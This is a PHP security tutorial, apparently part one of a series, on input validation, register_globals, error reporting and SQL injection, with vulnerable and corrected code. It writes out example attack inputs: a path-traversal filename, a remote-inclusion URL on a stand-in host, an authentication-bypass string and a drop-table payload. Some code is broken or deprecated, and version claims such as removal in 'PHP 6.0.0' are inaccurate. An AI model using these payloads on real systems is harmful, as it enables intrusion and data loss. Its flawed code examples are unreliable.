PHP is a very popular scripting language used for rapid development of web applications ranging from personal holiday photo galleries to product listings and shopping to web presence of large companies. The vast range of types of web applications and ease of learning and developing applications using PHP make security an important aspect.
As with any powerful tool however, there are certain risks and dangers associated with the use of PHP.
Security is the main aspect of any web application. But most of the times it is overlooked and people work hard to fix those security holes once it has been hacked. The applications get hacked despite the fact that language has been designed with security in mind. This happens because of lack of knowledge, oversight or bad coding practices.
Most important thing why security loopholes exist is the fact that the application is not designed keeping security in mind. Security should be an integral part of the design of the application.
The purpose of this article is to provide information about the security aspects while developing web applications using PHP. This is not an entire list of guidelines / techniques, but most common ones which can be used to minimize the risks of your application being attacked by malicious users.
Let’s look at some of the sources / types of security breaches and how to handle those.
1. Tainted / Invalidated data
Never trust any data that is not validated. Consider all data invalid or tainted unless proven valid, rather than considering the data is valid unless proven invalid.
This is most important aspect of security. Never bypass the data filtering or validation. This can be ensured by a good software design and coding practices. It is also important to validate the origin of the data.
Data comes from various sources - User inputs (Forms) / query strings / cookies / external files etc. The fact that the source can be anything makes the data validation very important. Invalidated data may expose holes in the application and is vulnerable to attacks.
Consider the following example which reads a file name from the query string and does some processing and deletes the file.
$filename = $_GET['filename'] ;
...do some file processign with $filename..
...later in code
unlink($filename);
In this case, if any user passes the name of some system file name with the path (example : ../../etc/password), that file will be deleted from the server. If the code validates the contents of $filename before processing it, this can be avoided.
Many a times, it is a practice that pass the filename in the URL and include that file in the PHP code using include / require statements. In such cases, if the input is not validated, then it poses a serious security threat as users can pass the path of any malicious PHP script file and thus attack your application. See following example:
$filename = $_GET['filename'] ;
include ($filename);
If something like ?filename=http://www.badsite.com/badcode.php is passed in the URL, then badcode.php will be included and can get information about your directory structure, variables, ,cookies etc. This type of attack is called Remote File Inclusion which is covered later.
Unvalidated data also may lead to sql injection or javascript injection. This is covered later in the article.
2. Environment Settings
register_globals
With the register_globals directive set to ON, any variable passed to the PHP script by GET, POST, and COOKIE (GPC data) will be created in the global namespace, as well as in the $_GET, $_POST, or $_COOKIE arrays. This means any input parameters are translated into variables
example : ?foo=bar is translated into $foo='bar';
Also, PHP code does not require variables to be initialized. This means, when register_globals is ON, un-initialized variables can be injected via user inputs. Look at the code snippet (from php.net) below:
if (authenticated_user()) {
$authorized = true;
}
if ($authorized)
{
include "/highly/sensitive/data.php";
}
Note that the $authorized variable is not initialized. In this case if the register_globals is ON and the user passes ?authorized=true in the querystring, the code would work as if the user is authorized, even if the first condition block fails. This could have been avoided by initializing the $authorized variable to false before authenticating the
user. register_globals is set to OFF by default from PHP 4.2.2. It is a good practice to set it OFF in the production environment, hence forcing the coder to know from where the data is coming from and use appropriate superglobal ($_GET, $_POST, $_SESSION etc).
As per the warning issued on php.net - THIS FEATURE HAS BEEN DEPRICATED / REMOVED FROM PHP 6.0.0. RELYING ON THIS FEATURE IS HIGHLY DISCOURAGED.
Setting the register_globals to "off" and using uninitialized variables pose another threat called - Remote File Inclusion (RFI). This is explained later in this article.
Error Reporting settings
The error reporting directives in php.ini can be used to decide what to report to the user. It is always recommended that the error / warnings generated by PHP are not shown to the user. Most of the errors show the path\filename in which the error is generated and may display the variable names.
By seeing the error messages, a malicious user can understand lot about the system. In fact, one could even get a general idea of the code flow of the code by paying attention to what line number an error occurs on, under different circumstances. Furthermore, the nature of the error can also provide more detailed information, including where the script stores files on the server, the format of the queries used by the script, and much more. Hence, it is not desirable to show the error message to the user. Instead, it is a better practice to log the error into a file and show some friendly error message to the user by creating a custom error page.
PHP provides mechanisms to write the errors to a log file. This is the default behaviour - all errors are logged into a file by default - usually a file in /tmp/ folder. If the application is hosted on a dedicated server, this is fine. What if the application is hosted on a shared server? Errors generated by other applications may also get stored in the same location. Also you may not get access to that folder in a shared environment. In such cases PHP comes to rescue with the help of error logging directives.
It is a better practice to show the error messages in a development environment, but not in production. Following are the directives to be set in php.ini (directly or through ini_set() function if you don't have access to the php.ini file).
error_reporting - set this to E_ALL. This allows the coder to see warnings about the use of uninitialized variables.
display_errors - This directive decides whether to display the error messages to the screen or no. It is recommended that keep this setting "on" for development to help in debugging and set to "off" in production environment so that no error message is displayed to the user.
log_errors - This determines whether to log the error messages to a file. Recommended to keep this "on" on production server(s).
error_log- Use this to tell php in which file it should write the errors. This should be used when log_errors is "on".
Following table summarizes the usage of error reporting directives in development and production environments.
Directive | Development | Production |
error_reporting | E_ALL | E_ALL |
display_errors | On | Off |
log_errors | On | On |
error_log | filepath | filepath |
3. Database interactions (SQL injections)
Most PHP applications interact with database. To do so, the code needs the credentials to log on to the database. Most common approach is to store the connection information and the code to connect to database is kept in a common file (usually with .inc extension) in the root folder and include that file whereever database connectivity is required.
This looks convenient, but has some problems. If this file is stored in the document root folder of the application, it can be accessed via a URL. Also, when the web server gets a request to a file with unknown extension like .inc, it just returns the contents of the file as plain text in the response. So, one can view the contents of such files by just
requesting the file through a browser. In these cases, it is recommended NOT to keep such files in the document root but some folder outside the root. One can use include or require statements to include the files in the code. These statements take a filesystem path as an argument.
Another option is to tell apache that treat .inc (or any other such file) files as php files and process it like any php files. In this case, the plain text output is not sent to the browser. But it is recommended that use .inc.php extension to such kind of files. Another serious threat to the database intensive applications is SQL Injection. This is a loophole arising out of invalidated / unfiltered data.
SQL Injection is an attack technique used to exploit web sites by altering backend SQL statements through manipulating application input. Consider the following query used to validate username and password entered by the user in the login form.
If a malicious user enters some username (say anyuser) and password as ' OR '1'='1, the resulting query would be "SELECT * FROM users WHERE username = 'anyuser' AND password = '' OR '1'='1'";
..some code here...
$strSqlStatement = "SELECT * FROM users WHERE username = '".$_POST['username']."'
AND password = '".$_POST['password']."'";
..execute the query here...
This query will run and validate the user even if he has not entered any valid userid / password and the user gains access to the application.
What if an error or some other issue caused your table structure to be exposed? Hackers are very good at forcing errors to occur that expose information that allows them to penetrate a site deeper. What if the following was entered in the password field?
'; drop table users;
If multiple queries are supported, this would result in executing two queries, one to validate the user and the second will empty the users table resulting in getting the application to a halt.
Fortunately - even though mysql supports multiple queries - the corresponding php extension (mysqli) requires that you use a separate function - mysqli_multi_query to execute multiple queries and not the usual mysql_query. However, care should be taken while using extensions for other database systems which support multiple queries.
How does one protect the application from such kind of attacks? Its easy if
Data is filtered - As explained earlier, filtered/validated data (both at client and server side) reduces the risk of such attacks.
Data is Escaped - PHP has a built-in automatic input escaping mechanism through magic_quotes_gpc directive. This provides some basic protection by adding a slash in front of single quotes, double quotes and some other characters. It does not include all special characters that require escaping. Also this method has been removed from PHP 6.0.0. Hence, can not rely on this method. It is good practice to escape the input data. For this the mysql extesion for PHP (mysqli) provides a function mysql_real_escape_string().
However, before calling this method, make sure to check the state of magic quotes, and if it is turned ON then remove the slashes added by it. Otherwise, it will result in escaping the string twice and may create problems. To do this use stripslashes() function first to remove the slashes added by magic quotes and then use mysql_real_escape_string(). Following example illustrates this.
$strUserName = $_POST['username'];
$strPassword = $_POST['password'];
if(get_magic_quotes_gpc())
{
$strUserName = stripslashes($strUserName);
$strPassword = stripslashes($strPassword);
}
$strSqlStatement = "SELECT * FROM users WHERE username =
'".mysql_real_escape_string($strUserName)."' AND
password = '"mysql_real_escape_string($strPassword)."'";
Quote your data - If your database allows it (MySQL does), put single quotes around all values in your SQL statements, regardless of the data type. Consider the following example:
$strSqlStatement = "SELECT * FROM users WHERE username =
".EscapeAndAddQuotes($strUserName)." AND password =
".EscapeAndAddQuotes($strPassword);
function EscapeAndAddQuotes($value)
{
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
return "'" . mysql_real_escape_string($value) . "'";
}
Notice that you are not adding single quotes in the query but its being done from the EscapeAndAddQuotes function.
Do not display mysql errors to the user. - Sometimes, errors generated while querying can reveal the table structure. It is a bad practice to show error details such as the query which generated the error, page etc to the user. Show friendly error messages to the user and log the actual errors for fixing.
In next part I will cover some other security issues like XSS and Session based attacks.